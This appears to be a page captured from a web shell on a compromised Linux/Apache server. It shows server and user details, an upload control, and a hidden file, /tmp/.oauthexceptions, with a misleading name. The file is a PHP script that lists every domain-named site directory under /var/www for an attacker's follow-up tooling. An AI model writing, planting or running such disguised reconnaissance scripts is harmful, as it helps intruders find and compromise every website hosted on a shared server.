HEX
Server: Apache/2.4.6 () PHP/7.4.33
System: Linux chile-dev-app-1 5.4.17-2136.315.5.el7uek.x86_64 #2 SMP Wed Dec 21 19:57:57 PST 2022 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //tmp/.oauthexceptions
<?php   $r = "/var/www"; $dir_public = ""; function is_valid_domain($domain) {     if (!substr_count($domain, '.')) {         return false;     }     if (stripos($domain, 'www.') === 0) {         $domain = substr($domain, 4);     }     $again = 'http://' . $domain;     return filter_var($again, FILTER_VALIDATE_URL); }  $dirs = glob("{$r}/*", GLOB_ONLYDIR); foreach ($dirs as $path) {     $dir = basename($path);     if (is_valid_domain($dir)) {         if (strlen($dir_public)) {             if (is_dir("{$path}/{$dir_public}")) {                 print "<f>{$path}/{$dir_public}@@@{$dir}</f>\n";             }         } else {             print "<f>{$path}@@@{$dir}</f>\n";         }     } } die('!ended!');